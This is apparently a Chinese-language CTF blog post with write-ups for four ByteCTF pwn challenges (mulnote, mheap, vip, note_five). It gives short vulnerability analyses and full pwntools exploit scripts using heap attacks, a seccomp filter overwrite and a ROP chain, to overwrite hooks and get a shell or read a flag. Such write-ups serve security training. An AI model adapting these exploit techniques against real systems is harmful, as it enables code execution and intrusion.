欢迎来到 嗅灵易学

零基础也能上手的脚本技术课,一对一答疑带你入门

[原创] ByteCTF Pwn部分题解

[原创] ByteCTF Pwn部分题解

0x01 mulnote

漏洞点分析

初看程序,是一个经OLLVM混淆过的ELF,不过对我们做pwn没有太多的影响。用ida直接分析其主要函数,也是一个经典的堆菜单题目。含有增删改查四个功能。 其中这个free函数free过后有10秒钟的延迟,这个导致了UAF。那么有UAF这道题就迎刃而解了。

利用

  1. Create一个大于0x80的chunk
  2. free掉就可以show leak libc
  3. fastbin attack修改__malloc_hook为one_gadget

exp

#coding:utf-8

from pwn import *

import argparse

# env = os.environ

# env['LD_PRELOAD'] = './libc64.so'

IP = '112.126.101.96'

PORT = '9999'

binary = './mulnote'

io = None

parser = argparse.ArgumentParser()

parser.add_argument('-d', '--debugger', action='store_true')

parser.add_argument('-r', '--remote', action='store_true')

parser.add_argument('-l', '--local', action='store_true')

args = parser.parse_args()

sl = lambda x : io.sendline(x)

sd = lambda x : io.send(x)

sla = lambda x,y : io.sendlineafter(x,y)

rud = lambda x : io.recvuntil(x,drop=True)

ru = lambda x : io.recvuntil(x)

def lg(s, addr):

    print('\033[1;31;40m%30s-->0x%x\033[0m' % (s, addr))

if args.remote:

    io = remote(IP, PORT)  

    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

    elf = ELF(binary)

elif args.local or args.debugger:

    # env = {"LD_PRELOAD": os.path.join(os.getcwd(), "libc.so.6")}

    env = {}

    io = process(binary,  env=env)

    elf = ELF(binary)

    proc_base = io.libs()[os.path.abspath(os.path.join(os.getcwd(), binary))]

    libc_bb = io.libs()['/lib/x86_64-linux-gnu/libc.so.6']

    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

else:

    parser.print_help()

    exit()

def debug(msg=""):

    msg = """

        x/20xg 0x{:x}

    """.format(proc_base + 0x202020)

    pwnlib.gdb.attach(io,msg)

    # raw_input()

def create(sz,con):

    sla(">","C")

    sla(">",str(sz))

    sla(">",con)

def edit(idx,con):

    sla(">","E")

    sla(">",str(idx))

    sla(">",con)

def remove(idx):

    sla(">","R")

    sla(">",str(idx))

def show():

    sla(">","S")

def exploit():

    create(0x90,'a')

    remove(0)

    show()

    leak = u64(ru("\x7f")[-6:].ljust(8,'\x00'))

    lg('leak',leak)

    base = leak - 0x3c4b78

    __malloc_hook = base + libc.symbols['__malloc_hook']

    lg('base',base)

    create(0x90,'a')

    create(0x60,'a')

    create(0x60,'b')

    remove(2)

    remove(3)

    remove(2)

    one_gg = base + 0x4526a

    create(0x60,p64(__malloc_hook - 0x13))

    create(0x60,'junk')

    create(0x60,'junk')

    create(0x60,'a' * 3 + p64(one_gg))

    # debug()

    io.interactive()

if __name__ == "__main__":

    exploit()

"""

0x45216    execve("/bin/sh", rsp+0x30, environ)

constraints:

  rax == NULL

0x4526a    execve("/bin/sh", rsp+0x30, environ)

constraints:

  [rsp+0x30] == NULL

0xf02a4    execve("/bin/sh", rsp+0x50, environ)

constraints:

  [rsp+0x50] == NULL

0xf1147    execve("/bin/sh", rsp+0x70, environ)

constraints:

  [rsp+0x70] == NULL

"""

0x02 mheap

程序以及漏洞点分析

首先这个程序也是一个经典的堆题,分为增删改查4个功能。同其他堆题不一样的就是这个堆他不是真正意义上的堆,通过分析程序,它是通过mmap出一块内存出来之后,然后对这块内存进行管理,在bss有4个全局变量,分别是存放分配的size,mmap出来内存的地址,free掉堆块的链表的头部,正在使用中的堆块地址。malloc的时候首先会从free_list中查看是否存在一个堆块和我们想要申请的size一样的。如果一样就拿出来,不一样就遍历free_list,如果没有查找到,则从mmap内存切割,其实和top_chunk类似。然后free的话,直接将chunk放到free_top中去。edit,show函数没有什么好说的。其中堆块结构和glibc中的结构有点不一样的就是他的头部是存放的一个size和fd(类似fastbin)。那么其实分析到这里,按常规来说,没有发现什么漏洞,没有UAF。分配类似0x(8)这样块的大小,也不会占用下一块的头部。 有个这样的操作。那么其实这个漏洞点,是存在在自定义的read的中的。mmap出来的内存最大可以提供0x1000大小。然而它没有将总分配的size做比较,导致了我们可以分配到0x23330000 + 0x1000后面的内存,那么这里的内存是无效的。在read的时候就会出错,返回-1。 然后数据还存放在缓冲区中,此时v3的值会减小,下一次循环的时候读入数据会将缓冲区中的数据给read处理,然而有部分字节被处理了0x23330000后面的数据不能被处理,继续返回-1,v3继续变小,这样v3不断往前移动,最后移动到刚好覆盖chunk头部,fd写入bss地址,bss地址构造一个size。然后就可以分配到bss段上了,直接修改store_ptr的地方,修改为got表,leak and write即可Getshell。
。exp如下

exp

#coding:utf-8

from pwn import *

import argparse

IP = '47.112.139.218'

PORT = '13132'

binary = './mheap'

io = None

parser = argparse.ArgumentParser()

parser.add_argument('-d', '--debugger', action='store_true')

parser.add_argument('-r', '--remote', action='store_true')

parser.add_argument('-l', '--local', action='store_true')

args = parser.parse_args()

sl = lambda x : io.sendline(x)

sd = lambda x : io.send(x)

ru = lambda x : io.recvuntil(x)

rud = lambda x : io.recvuntil(x,drop=True)

ruf = lambda x : io.recvuntil(x)

uu64 = lambda x : u64(x[-6:].ljust(8,'\x00'))

def lg(s, addr):

    print('\033[1;31;40m%30s-->0x%x\033[0m' % (s, addr))

if args.remote:

    io = remote(IP, PORT)  

    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

    elf = ELF(binary)

elif args.local or args.debugger:

    # env = {"LD_PRELOAD": os.path.join(os.getcwd(), "libc.so.6")}

    env = {}

    io = process(binary,  env=env)

    elf = ELF(binary)

    proc_base = io.libs()[os.path.abspath(os.path.join(os.getcwd(), binary))]

    libc_bb = io.libs()['/lib/x86_64-linux-gnu/libc.so.6']

    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

else:

    parser.print_help()

    exit()

def debug(msg=""):

    msg = """

        x/80xg 0x23330000

        b *0x40121F

        b *0x401568

    """

    pwnlib.gdb.attach(io,msg)

def malloc(idx,sz,con):

    ru("choice")

    sl("1")

    ru("Index")

    sl(str(idx))

    ru("size")

    sl(str(sz))

    ru("Content")

    sd(con)

def show(idx):

    ru("choice")

    sl("2")

    ru("Index")

    sl(str(idx))

def free(idx):

    ru("choice")

    sl("3")

    ru("Index")

    sl(str(idx))

def edit(idx,con):

    ru("choice")

    sl("4")

    ru("Index")

    sl(str(idx))

    sleep(0.3)

    sd(con)

def exploit():

    malloc(0, 0xfc0, '/bin/sh\n')

    malloc(1, 0x10, '\0' * 0x10)

    free(1)

    malloc(2, 0x28, p64(0x4040d0) + '\0' * 0x1f + '\n')

    malloc(3, 0x23330fd0 - 0x10, p64(elf.got['atoi']) + '\n')

    show(0)

    leak = u64(io.recvuntil('\n', drop=True)[-6:].ljust(8,'\x00'))

    lg('leak',leak)

    base = leak - libc.symbols['atoi']

    lg("base",base)

    edit(0, p64(base  + libc.symbols['system']) + '\n')

    io.sendline('/bin/sh\x00')

    io.interactive()

if __name__ == "__main__":

    exploit()

"""

0x4f2c5    execve("/bin/sh", rsp+0x40, environ)

constraints:

  rcx == NULL

0x4f322    execve("/bin/sh", rsp+0x40, environ)

constraints:

  [rsp+0x40] == NULL

0x10a38c    execve("/bin/sh", rsp+0x70, environ)

constraints:

  [rsp+0x70] == NULL

"""

0x03 vip

程序及漏洞点分析

同样也是一道堆题,题目环境是libc2.27,带tcache环境。
题目有5个选单。malloc只能分配0x50个字节的大小。free直接free掉,然后置0,不存在uaf。show也是普通的打印,比较不一样的就是edit功能和become vip功能。 edit功能首先判断全局变量,如果不为0,就读取标准输入到chunk上,不然读随机数到chunk上,这就是本程序的一个很大的限制,不能读取我们的输入到堆块上,也就是堆块内容不可控,当然这边也存在一个未校验size的漏洞。可以无限读取,那么本题其实主要首先会想如何修改这个全局变量的值,当然首先考虑unsorted bin attack,但是这里堆块内容不可控,这个攻击也无法实现,再来看看become vip函数吧。这里是输入一个name到栈上,然后对程序使用seccomp保护。这里可以使用seccomp-tools对其进行分析。 这里只允许四个系统调用,然而我们发现当我们become vip之后,也就是调用设置沙箱规则之后,edit的open("/dev/random")会返回-1,也就是打开失败,这里我们明明看到是open没有被限制,那么这里是什么原因造成的的呢? 这里就可以看出来了,openat被限制了。 那么这里输入的buf是存在溢出的,这里可以溢出30个字节,下面的其实就是沙箱的规则,这里的主要思路就是利用溢出修改啥箱规则,去让openat返回0。然后就可以正常读取输入了。https://github.com/david942j/seccomp-tools这是我使用的一个工具。

主要利用流程

1.1 malloc的size不可控,但是程序中存在scanf。利用scanf导致fastbin chunk合并进入small bin, leak libc
1.2 第二种leak的话其实和第一种不一样,第一种情况是对于不能控制输入到堆块的内容的leak,这一种是首先让堆块内容可控,然后edit修改下一块size即可。也是leak main_arena。

  1. 由于关闭了openat,导致我们不能正常起shell,最后我们采用的方法是ROP读取flag。泄露栈地址,然后alloc to stack,然后ret2syscall。选用sys_open读取flag。
  1. 其实还有一种方法,就是让我们能正常起shell。也就是修改过滤规律,过滤openat syscall。rsi参数也就是/dev/urandom。只要rsi等于/dev/urandom。那么就让openat syscall调用失败。其他的都allow,这样我们可以正常修改堆块,也可以起shell。

exp

#coding:utf-8

from pwn import *

import argparse

context.binary = './vip'

IP = '112.126.103.14'

PORT = '9999'

binary = './vip'

io = None

parser = argparse.ArgumentParser()

parser.add_argument('-d', '--debugger', action='store_true')

parser.add_argument('-r', '--remote', action='store_true')

parser.add_argument('-l', '--local', action='store_true')

args = parser.parse_args()

sa = lambda x,y : io.sendafter(x,y)

sla = lambda x,y : io.sendlineafter(x,y)

sl = lambda x : io.sendline(x)

sd = lambda x : io.send(x)

ru = lambda x : io.recvuntil(x)

rud = lambda x : io.recvuntil(x,drop=True)

ruf = lambda x : io.recvuntil(x)

uu64 = lambda x : u64(x[-6:].ljust(8,'\x00'))

def lg(s, addr):

    print('\033[1;31;40m%30s-->0x%x\033[0m' % (s, addr))

if args.remote:

    io = remote(IP, PORT)  

    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

    elf = ELF(binary)

elif args.local or args.debugger:

    # env = {"LD_PRELOAD": os.path.join(os.getcwd(), "libc.so.6")}

    env = {}

    io = process(binary,  env=env)

    elf = ELF(binary)

    proc_base = io.libs()[os.path.abspath(os.path.join(os.getcwd(), binary))]

    libc_bb = io.libs()['/lib/x86_64-linux-gnu/libc.so.6']

    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

else:

    parser.print_help()

    exit()

def debug(msg=""):

    msg = """

        b *0x401411

        b *0x401547

        x/80xg 0x404100

        b *0x401515

        b *0x40151C

        b *0x4014F0

        b *0x4014eb

        x/8xg 0x4040E0

    """

    pwnlib.gdb.attach(io,msg)

def malloc(idx):

    sla("choice","1")

    sla("Index",str(idx))

def show(idx):

    sla("choice","2")

    sla("Index",str(idx))

def free(idx):

    sla("choice","3")

    sla("Index",str(idx))

def edit(idx,sz):

    sla("choice","4")

    sla("Index",str(idx))

    sla("Size",str(sz))

def edit_chunk(idx,sz,con):

    sla("choice","4")

    sla("Index",str(idx))

    sla("Size",str(sz))

    sd(con)

def vip(name):

    sla("choice","6")

    sa("name",name)

def ssl(con):

    sl(con)

    sleep(0.2)

def exploit2():

    malloc(0)

    buf = 0x20 * 'a'

    buf += " \x00\x00\x00\x04\x00\x00\x00\x15\x00\x00\x03>\x00\x00\xC0 \x00\x00\x00\x00\x00\x00\x00\x15\x00\x01\x00\t\x00\x00\x00\x06\x00\x00\x00\x00\x00\xFF\x7F\x06\x00\x00\x00\x00\x00\x00\x00"

    # buf = "\x00\x00\x00\x00\x00\x00\x00\x00\xca\x20\x40\x00\x00\x00\x00\x00\xa0\x92\x0b\xc5\x4a\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x04\x00\x00\x00\x15\x00\x00\x08\x3e\x00\x00\xc0\x20\x00\x00\x00\x00\x00\x00\x00\x35\x00\x06\x00\x00\x00\x00\x40\x15\x00\x04\x00\x01\x00\x00\x00\x15\x00\x03\x00\x00\x00\x00\x00"

    buf = buf[:0x50]

    # debug()

    vip(buf)

    debug()

    io.interactive()

def exploit():

    [malloc(i) for i in range(0,16)]

    [free(i) for i in range(0,15)]

    [malloc(i) for i in range(0,7)]

    edit(15,"1" * 0x400)

    malloc(0)

    show(0)

    leak = u64(ru("\x7f")[-6:].ljust(8,'\x00'))

    lg('leak',leak)

    base = leak - 0x3ebf90

    system = base + libc.symbols['system']

    __malloc_hook = base + libc.symbols['__malloc_hook']

    lg('base',base)

    __free_hook = base + libc.symbols['__free_hook']

    printf = base + libc.symbols['printf']

    # orig_rules = "\x20\x00\x00\x00\x04\x00\x00\x00\x15\x00\x00\x08\x3E\x00\x00\xC0\x20\x00\x00\x00\x00\x00\x00\x00\x35\x00\x06\x00\x00\x00\x00\x40\x15\x00\x04\x00\x01\x00\x00\x00\x15\x00\x03\x00\x00\x00\x00\x00\x15\x00\x02\x00\x02\x00\x00\x00\x15\x00\x01\x00\x3C\x00\x00\x00\x06\x00\x00\x00\x05\x00\x05\x00\x06\x00\x00\x00\x00\x00\xFF\x7F\x06\x00\x00\x00\x00\x00\x00\x00"

    buf = "a" * 0x20

    buf += " \x00\x00\x00\x04\x00\x00\x00\x15\x00\x00\x04>\x00\x00\xC0 \x00\x00\x00\x00\x00\x00\x00\x15\x00\x00\x01\x01\x01\x00\x00\x06\x00\x00\x00\x00\x00\x05\x00\x06\x00\x00\x00\x00\x00\xFF\x7F\x06\x00\x00\x00\x00\x00\x00\x00"

    buf = buf[:0x50]

    vip(buf)

    free(5)

    free(2)

    edit_chunk(3,0x80,'a' * 0x50 + p64(0) + p64(0x61) + p64(elf.got['puts']))

    malloc(0)

    edit_chunk(0,0x10,'%p %p %p %p \x00')

    malloc(1)

    edit_chunk(1,0x10,p64(printf))

    show(0)

    ru("999 ")

    stack_addr = int(rud(" Done"),16)

    lg('stack_addr',stack_addr - 73)

    # alloc to stack

    free(3)

    edit_chunk(4,0x80,'a' * 0x50 + p64(0) + p64(0x61) + p64(stack_addr - 73))

    stack_payload = [

        0x00000000004018fb, # : pop rdi ; ret

        stack_addr - 73 + 0x100,

        0x00000000004018f9, # : pop rsi ; pop r15 ; ret

        0,

        0,

        base + 0x00000000000439c8, # : pop rax ; ret

        2, # sys_open

        base + 0x00000000000d2975, # : syscall ; ret

        0x00000000004018fb, # : pop rdi ; ret

        4,

        0x00000000004018f9, # : pop rsi ; pop r15 ; ret

        0x404800,

        0,

        base + 0x0000000000001b96, # : pop rdx ; ret

        0x100,

        elf.plt['read'],

        0x00000000004018fb, # : pop rdi ; ret

        0x404800,

        base + libc.symbols['puts'],

        0x00000000004018fb,

        0x0,

        elf.plt['exit'],

    ]

    """

        syscall   rdi --> "flag" rsi --> 0x0 rdx --> 0x0 rax --> syscall number

        read(fd,buf,0x100);

        puts(buf)

    """

    malloc(1) 

    malloc(2) # malloc to stack

    edit_chunk(2,0x400,flat(stack_payload).ljust(0x100,'\x00') + "flag\x00")

    # malloc(0)

    # malloc(1)

    # edit(0,0x50)

    io.interactive()

if __name__ == "__main__":

    try:

        exploit()

    except EOFError as e:

        io.close()

        print "error"

"""

0x4f2c5    execve("/bin/sh", rsp+0x40, environ)

constraints:

  rcx == NULL

0x4f322    execve("/bin/sh", rsp+0x40, environ)

constraints:

  [rsp+0x40] == NULL

0x10a38c    execve("/bin/sh", rsp+0x70, environ)

constraints:

  [rsp+0x70] == NULL

"""

0x04 note_five

程序及漏洞点分析

主要漏洞点就是off-by-one,由于限制了分配的大小,导致我们不能分配fastbin,这样fastbin attack攻击就无法实现。off-by-one威力还是挺大的,chunk overlap , chunk extend。

利用

  1. 利用unsorted bin attack修改global_max_fast。没有地址泄露,首先构造chunk overlap,修改chunk的size。然后利用残留的unsorted bin 双向指针,将bk部分覆盖为global_max_fast,然后将unsorted bin全部分配出来,这样fastbin的范围就变大了
  2. leak地址需要fastbin attack到stdout上面,然后部分修改_IO_Write_base。 这里由于我们不能分配0x7f的chunk,那往上找一个\xff的size即可。
  3. 有了libc地址之后,用fastbin attack分配到malloc_hook,由于size不是0x7f,这里要二次写,首先往上拿一个0xff的头部,写一个0xff的size,再次攻击到这里就可以改写malloc_hook了。

    exp

#coding:utf-8

from pwn import *

import argparse

# env = os.environ

# env['LD_PRELOAD'] = './libc64.so'

context.binary = './note_five'

IP = ''

PORT = ''

binary = './note_five'

io = None

parser = argparse.ArgumentParser()

parser.add_argument('-d', '--debugger', action='store_true')

parser.add_argument('-r', '--remote', action='store_true')

parser.add_argument('-l', '--local', action='store_true')

args = parser.parse_args()

sa = lambda x,y : io.sendafter(x,y)

sl = lambda x : io.sendline(x)

sd = lambda x : io.send(x)

sla = lambda x,y : io.sendlineafter(x,y)

rud = lambda x : io.recvuntil(x,drop=True)

ru = lambda x : io.recvuntil(x)

def lg(s, addr):

    print('\033[1;31;40m%30s-->0x%x\033[0m' % (s, addr))

if args.remote:

    io = remote(IP, PORT)  

    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

    elf = ELF(binary)

elif args.local or args.debugger:

    # env = {"LD_PRELOAD": os.path.join(os.getcwd(), "libc.so.6")}

    env = {}

    io = process(binary,  env=env)

    elf = ELF(binary)

    proc_base = io.libs()[os.path.abspath(os.path.join(os.getcwd(), binary))]

    libc_bb = io.libs()['/lib/x86_64-linux-gnu/libc.so.6']

    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

else:

    parser.print_help()

    exit()

def debug(msg=""):

    msg = """

        x/10xg 0x{:x}

    """.format(proc_base + 0x202080)

    pwnlib.gdb.attach(io,msg)

    # raw_input()

def new(idx,sz):

    sla(">","1")

    sla("idx",str(idx))

    sla("size",str(sz))

def edit(idx,con):

    sla(">","2")

    sla("idx",str(idx))

    sla("content",con)

def free(idx):

    sla(">","3")

    sla("idx",str(idx))

def exploit():

    new(0, 0x98)

    new(1, 0x98)

    new(2, 0x98)

    new(3, 0x98)

    free(0) # unsorted bin

    edit(1, 'a' * 0x90 + p64(0x140) + p8(0xa0)) 

    free(2)

    new(0, 0xe8)

    edit(1, 'a' * 0x40 + p64(0) + p64(0xf1) + p64(0) + p16(0x37f8 - 0x10)) # change fd bk

    new(4, 0xe8) 

    free(4)

    edit(1,'a' * 0x40 + flat(0x0,0xf1) + "\xcf\x25")

    new(4,0xe8)

    new(0,0xe8)

    edit(0,'\x00' * 0x41 + p64(0xfbad1800) + flat(0x0,0x0,0x0) + '\x00') #0xfbad1800

    stdout = u64(ru("\x7f")[-6:].ljust(8,'\x00'))

    lg('stdout',stdout)

    base = stdout - 0x3c5600

    lg('base',base)

    free(4)

    edit(1, 'a' * 0x40 + p64(0) + p64(0xf1) + p64(base + libc.symbols['_IO_2_1_stdin_'] + 143))

    new(4, 0xe8)

    new(0, 0xe8)

    edit(0, '\0' * 0xe1 + p32(0xf1) )

    free(4)

    edit(1, 'a' * 0x40 + p64(0) + p64(0xf1) + p64(base + libc.symbols['_IO_2_1_stdin_'] + 376))

    new(4, 0xe8)

    new(0, 0xe8)

    edit(0, '\0' * 0xa0 + p64(base + 0x4526a) + p64(base + libc.symbols['realloc'] + 13))

    new(0, 0xe8)

    io.interactive() 

if __name__ == "__main__":

    exploit()

"""

0x45216    execve("/bin/sh", rsp+0x30, environ)

constraints:

  rax == NULL

0x4526a    execve("/bin/sh", rsp+0x30, environ)

constraints:

  [rsp+0x30] == NULL

0xf02a4    execve("/bin/sh", rsp+0x50, environ)

constraints:

  [rsp+0x50] == NULL

0xf1147    execve("/bin/sh", rsp+0x70, environ)

constraints:

  [rsp+0x70] == NULL

"""

总结

感谢ex师傅的指导

注意:上传附件及图片大小不得大于30M。

⚠️ 版权声明:
本博客所有内容(含教程、源码、工具)仅供个人技术学习与研究交流使用,严禁商用、倒卖、二次分发及非法用途
未经作者书面授权,任何组织或个人不得转载、复制或用于其他平台,违者将追究相关责任。

0 0 0 举报
复制成功